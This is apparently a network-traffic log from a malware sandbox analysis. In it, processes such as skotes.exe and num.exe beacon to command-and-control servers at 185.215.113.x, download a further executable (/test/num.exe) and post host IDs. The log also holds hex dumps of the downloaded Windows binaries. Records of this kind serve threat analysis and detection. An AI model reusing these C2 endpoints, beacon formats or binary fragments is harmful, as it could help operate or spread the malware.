Oct 24, 2024 04:02:19.670941114 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:19 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 24 Oct 2024 01:44:18 GMT Connection: keep-alive ETag: "6719a672-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6a a6 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELjg"Xw@`=@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 24, 2024 04:02:19.670960903 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 24, 2024 04:02:19.671078920 CEST	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 24, 2024 04:02:19.671108961 CEST	212	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D
Oct 24, 2024 04:02:19.671123028 CEST	1236	IN	Data Raw: e8 2e e8 01 00 8b f3 c7 87 2c fd ff ff 40 c9 49 00 59 39 9f 34 fd ff ff 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff Data Ascii: .,@IY9404Y$<IvY-l\L_^[`t
Oct 24, 2024 04:02:19.671155930 CEST	1236	IN	Data Raw: 0f 85 72 0c 04 00 56 6a 40 e8 18 e3 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 Data Ascii: rVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I I
Oct 24, 2024 04:02:19.671180010 CEST	1236	IN	Data Raw: 00 00 56 50 ff 75 0c ff 75 08 e8 a8 cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 Data Ascii: VPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u
Oct 24, 2024 04:02:19.671197891 CEST	636	IN	Data Raw: 03 04 00 80 bd 75 ff ff ff 00 8b 45 c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d Data Ascii: uE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE
Oct 24, 2024 04:02:19.671214104 CEST	1236	IN	Data Raw: 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 00 00 00 8b 85 7c ff ff ff 89 45 c8 8b 45 f0 85 c0 78 08 3b fb 0f 84 b9 fb ff ff 56 68 93 00 00 00 e9 36 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 e6 02 04 00 8b 55 f8 4a 4f 83 bd 60 ff ff Data Ascii: Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D#&@3&@0%@v&@'@B&@&@$@;$@UE;#M~#M
Oct 24, 2024 04:02:19.671230078 CEST	212	IN	Data Raw: ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d 00 a3 e0 13 4d 00 ff d6 68 a2 00 00 00 ff 35 58 13 4d 00 a3 e8 13 4d 00 ff d6 33 f6 a3 ec 13 4d 00 56 6a 10 6a 10 6a 01 6a 63 ff 35 58 13 4d 00 ff 15 a0 c5 49 00 8b 0d 58 13 4d 00 8b d0 a1 e0 Data Ascii: 5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^[VW5,I3W5XMWWjdh,
Oct 24, 2024 04:02:19.676712036 CEST	1236	IN	Data Raw: 00 50 50 68 00 00 cf 00 b8 c8 c9 49 00 50 50 57 ff d6 57 ff 35 58 13 4d 00 a3 8c 13 4d 00 6a 01 50 57 57 57 57 68 c4 08 b0 50 57 68 a0 c9 49 00 57 ff d6 8b 35 28 c7 49 00 57 ff 35 8c 13 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e Data Ascii: PPhIPPWW5XMMjPWWWWhPWhIW5(IW5MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49994	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:22.902304888 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001092001&unit=246122658369
Oct 24, 2024 04:02:23.813870907 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49995	185.215.113.16	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:24.002876043 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:02:24.799724102 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:24 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 04:02:24.799782991 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE
Oct 24, 2024 04:02:24.799814939 CEST	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj(dEPtX}t,hEPxS[hhAMQhd[]UQEjj@h0hj
Oct 24, 2024 04:02:24.799868107 CEST	212	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 f4 e0 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 d6 92 01 00 8d 8d 04 fc ff ff e8 cb 92 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 9e Data Ascii: jRAM]UQMM\|MHM<M0}MO]UQMEPMM0QM0U<RM<EHPMHMUB
Oct 24, 2024 04:02:24.799896955 CEST	1236	IN	Data Raw: 54 89 41 54 8b 4d fc 8b 55 08 8b 42 58 89 41 58 8b 4d fc 8b 55 08 8b 42 5c 89 41 5c 8b 4d fc 8b 55 08 8b 42 60 89 41 60 8b 4d fc 8b 55 08 8b 42 64 89 41 64 8b 4d fc 8b 55 08 8b 42 68 89 41 68 8b 4d fc 8b 55 08 8b 42 6c 89 41 6c 8b 4d fc 8b 55 08 Data Ascii: TATMUBXAXMUB\A\MUB`A`MUBdAdMUBhAhMUBlAlMUBpApMUBtAtMUBxAxM\|QM\|=E]UQMEPMMQMURME$PM$E]U
Oct 24, 2024 04:02:24.799932003 CEST	1236	IN	Data Raw: 52 8d 85 48 fd ff ff 50 68 a4 55 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff 50 8d 8d 94 fe ff ff e8 41 8e 01 00 8b c8 e8 ca 8e 01 00 8b c8 e8 33 8e 01 00 8b c8 e8 bc 8e 01 00 8b c8 e8 b5 8e 01 00 50 8d 8d 94 fe ff ff e8 99 8d 01 00 Data Ascii: RHPhUBTQUR`PA3P0<HT`RQ<rh"BhWBPMQRhVBPdQ R
Oct 24, 2024 04:02:24.799967051 CEST	424	IN	Data Raw: 64 00 c7 41 08 00 00 00 00 8b 15 90 a9 64 00 c7 42 0c 00 00 00 00 c7 05 94 a9 64 00 00 00 00 00 5d c3 cc cc cc cc cc 55 8b ec 83 7d 08 00 74 23 8b 45 08 83 38 00 74 10 8b 4d 08 8b 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb Data Ascii: dAdBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztE
Oct 24, 2024 04:02:24.800002098 CEST	1236	IN	Data Raw: 8b 45 08 83 c0 10 50 e8 b3 fe ff ff 83 c4 04 89 45 f8 8b 4d f8 51 8b 15 94 a9 64 00 52 e8 5d fe ff ff 83 c4 08 89 45 fc 83 7d fc 00 75 16 8b 45 f8 50 8b 0d 90 a9 64 00 51 e8 41 fe ff ff 83 c4 08 89 45 fc 83 7d fc 00 75 04 33 c0 eb 54 8b 55 fc c7 Data Ascii: EPEMQdR]E}uEPdQAE}u3TUjaEM9A~*UB+EPMQpEUEdMQ ]UQ}ufEPEMUztEH9tUBPMQ
Oct 24, 2024 04:02:24.800052881 CEST	212	IN	Data Raw: 42 00 68 a0 1f 42 00 e8 af 1f 00 00 83 c4 0c a3 14 a4 64 00 6a 0c 68 a8 1f 42 00 68 b8 1f 42 00 e8 96 1f 00 00 83 c4 0c a3 50 a1 64 00 6a 06 68 c8 1f 42 00 68 d0 1f 42 00 e8 7d 1f 00 00 83 c4 0c a3 40 a5 64 00 6a 07 68 d8 1f 42 00 68 e0 1f 42 00 Data Ascii: BhBdjhBhBPdjhBhB}@djhBhBddjhBhBKdjhBh B2d]Ujh Bh( Bddjh@ BhH B
Oct 24, 2024 04:02:24.800082922 CEST	1236	IN	Data Raw: 0c a3 7c a4 64 00 6a 02 68 50 20 42 00 68 54 20 42 00 e8 d0 1e 00 00 83 c4 0c a3 40 a4 64 00 6a 00 68 ff 0d 42 00 68 02 0e 42 00 e8 b7 1e 00 00 83 c4 0c a3 bc a5 64 00 c7 05 e0 a5 64 00 00 00 00 00 c7 05 ec a2 64 00 00 00 00 00 6a 00 68 03 0e 42 Data Ascii: \|djhP BhT B@djhBhBdddjhBhBdjhBhBqdjhBhBXdddjhBhB+djhBhBdjhX Bhp B
Oct 24, 2024 04:02:24.805583000 CEST	1236	IN	Data Raw: 00 00 83 c4 0c a3 94 a2 64 00 6a 13 68 d8 25 42 00 68 ec 25 42 00 e8 f8 19 00 00 83 c4 0c a3 9c a3 64 00 6a 0b 68 00 26 42 00 68 0c 26 42 00 e8 df 19 00 00 83 c4 0c a3 d8 a3 64 00 6a 0b 68 18 26 42 00 68 24 26 42 00 e8 c6 19 00 00 83 c4 0c a3 10 Data Ascii: djh%Bh%Bdjh&Bh&Bdjh&Bh$&Bdjh0&BhD&BdjhX&Bhl&Bdjh&Bh&B{Ldjh&Bh&Bbdjh&Bh&BIdjh&Bh&B0djh&Bh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49999	185.215.113.37	80	7552	C:\Users\user\AppData\Local\Temp\1001093001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:25.984972954 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:02:26.889714003 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:02:26.893781900 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAAAFBKFIECAAKECGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 2d 2d 0d 0a Data Ascii: ------FCAAAAFBKFIECAAKECGCContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------FCAAAAFBKFIECAAKECGCContent-Disposition: form-data; name="build"doma------FCAAAAFBKFIECAAKECGC--
Oct 24, 2024 04:02:27.179744959 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50006	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:27.727854013 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001093001&unit=246122658369
Oct 24, 2024 04:02:28.624783993 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50010	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:30.278552055 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:02:31.192177057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50013	34.107.221.82	80	6000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:31.509676933 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:02:32.152419090 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35413 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50019	185.215.113.43	80	8144	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:32.717752934 CEST	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 24, 2024 04:02:33.620914936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50022	34.107.221.82	80	6000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:33.680320978 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:02:34.286659002 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 47329 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50025	34.107.221.82	80	6000	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:34.239737034 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:02:34.829049110 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35415 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:02:36.534848928 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:02:36.658937931 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 35417 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:02:46.670355082 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 24, 2024 04:02:56.842315912 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50029	185.215.113.37	80	2348	C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:02:35.147073984 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:02:36.076390028 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:02:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
